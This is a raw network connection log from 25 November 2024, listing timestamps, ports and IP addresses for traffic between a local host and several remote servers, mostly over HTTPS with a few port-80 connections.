Nov 25, 2024 14:14:19.915544987 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:19.966939926 CET	49712	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:19.967012882 CET	443	49712	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:19.967119932 CET	49712	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:19.967356920 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:19.967396021 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:19.967451096 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:19.967619896 CET	49712	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:19.967639923 CET	443	49712	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:19.967794895 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:19.967809916 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:20.013993025 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:20.014046907 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:20.014128923 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:20.014372110 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:20.014416933 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:21.350466967 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:21.350567102 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:21.350686073 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:21.352411032 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:21.352451086 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:21.413969040 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:21.418055058 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:21.418085098 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:21.419075012 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:21.419167995 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:21.422061920 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:21.422127962 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:21.422257900 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:21.422264099 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:21.468056917 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.403225899 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.404319048 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.404347897 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.405581951 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.405658960 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.405843973 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.406090021 CET	443	49712	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.406213045 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.406277895 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.406738997 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.406774044 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.406955004 CET	49712	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.406965971 CET	443	49712	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.407147884 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.407155991 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.407761097 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.407823086 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.408380985 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.408411026 CET	443	49712	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.408436060 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.408461094 CET	49712	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.408797979 CET	49712	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.408874989 CET	443	49712	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.409060001 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.409070969 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.448970079 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.448985100 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.448985100 CET	49712	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.449009895 CET	443	49712	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.502352953 CET	49712	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.614315033 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.614366055 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.614394903 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.614418030 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.614445925 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.614480972 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.614948988 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.633857012 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.633910894 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.633917093 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.634318113 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.634358883 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:22.634474993 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:22.748405933 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:22.748497009 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:22.754256010 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:22.754268885 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:22.754708052 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:22.781184912 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:22.823334932 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.432995081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:23.433274031 CET	49721	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:23.466850996 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.466893911 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.466919899 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.466964006 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.466994047 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.467012882 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.467042923 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.553338051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:23.553363085 CET	80	49721	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:23.553467035 CET	49721	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:23.554691076 CET	49721	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:23.580914974 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.581099987 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.581165075 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.582559109 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.582587957 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.597743034 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.597793102 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.597829103 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.597845078 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.597858906 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.597871065 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.597907066 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.597923994 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.597965956 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.606281042 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.631267071 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.631738901 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.631767988 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.673949003 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.673971891 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.676115036 CET	80	49721	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:23.676759005 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.676774979 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.676799059 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.676841974 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.676868916 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.676887989 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.676914930 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.717967033 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.718014002 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.718054056 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.718067884 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.718107939 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.727308035 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.727346897 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.727396965 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.727423906 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.727441072 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.727484941 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.893150091 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.896228075 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.896311045 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.896343946 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.904459000 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.904519081 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.904529095 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.912456989 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.912522078 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.912532091 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.916769028 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.916798115 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.916879892 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.916897058 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.916929960 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.916939020 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.919471025 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.919545889 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.919553995 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.933325052 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.933387995 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.933422089 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.933429956 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.933454990 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.933476925 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.934796095 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.934864044 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.934875011 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.942130089 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.942240953 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.942250013 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.952035904 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.952080011 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.952119112 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.952130079 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.952137947 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.952141047 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.952194929 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.952202082 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:23.952225924 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.952227116 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.952253103 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:23.959646940 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:23.959753036 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:23.963357925 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:23.963393927 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:23.963635921 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:23.977731943 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.985270023 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.985344887 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.985344887 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:23.985357046 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:23.985399961 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.000854015 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.012506962 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.012526035 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.012582064 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.012592077 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.012629032 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.012648106 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.013087034 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.013150930 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.013159990 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.015980005 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:24.016282082 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.016331911 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.016340971 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.060136080 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.083214045 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.103358984 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.105986118 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.106075048 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.106095076 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.107841015 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.111706972 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.116328001 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.116451025 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.116485119 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.116516113 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.118062019 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.119015932 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.119035959 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.119111061 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.119122982 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.122060061 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.133336067 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.137656927 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.137674093 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.137772083 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.137779951 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.137968063 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.138927937 CET	49725	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:24.138974905 CET	443	49725	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:24.139101982 CET	49725	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:24.142091036 CET	49725	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:24.142108917 CET	443	49725	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:24.149117947 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.149133921 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.149200916 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.149209023 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.149261951 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.152901888 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.152935028 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.152997971 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.153012037 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.153084040 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.161168098 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.161186934 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.161259890 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.161267042 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.161392927 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.173691988 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.173721075 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.173791885 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.173799038 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.173921108 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.174729109 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.187751055 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.187803984 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.187830925 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.190854073 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.190870047 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.190923929 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.190932989 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.190973043 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.190996885 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.194364071 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.194427967 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.194453001 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.194483042 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.194880962 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.194891930 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.199867964 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.199908018 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.199940920 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.199951887 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.200001001 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.218079090 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.234651089 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.234685898 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.234728098 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.234740019 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.234944105 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.243102074 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.255299091 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.255340099 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.255424976 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.257411003 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.257440090 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.257570028 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.258940935 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.259010077 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.259021997 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.260787964 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.260796070 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.260886908 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.261130095 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.261141062 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.261354923 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.261368990 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.261491060 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.261501074 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.263684034 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.263694048 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.263827085 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.263998985 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.264010906 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.265290976 CET	49730	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.265297890 CET	443	49730	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.265398979 CET	49730	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.265583992 CET	49730	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:24.265589952 CET	443	49730	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:24.270838022 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.270870924 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.270946980 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.270957947 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.271006107 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.280181885 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.290576935 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.290616989 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.290637970 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.290647984 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.290716887 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.294172049 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.316217899 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.316260099 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.316309929 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.316340923 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.316390991 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.323626041 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.329766989 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.329814911 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.329833031 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.340729952 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.340759993 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.340806961 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.340818882 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.341650009 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.341985941 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.349390984 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.349440098 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.349448919 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.359394073 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.359445095 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.359457016 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.364988089 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.365045071 CET	49713	443	192.168.2.5	142.250.181.68
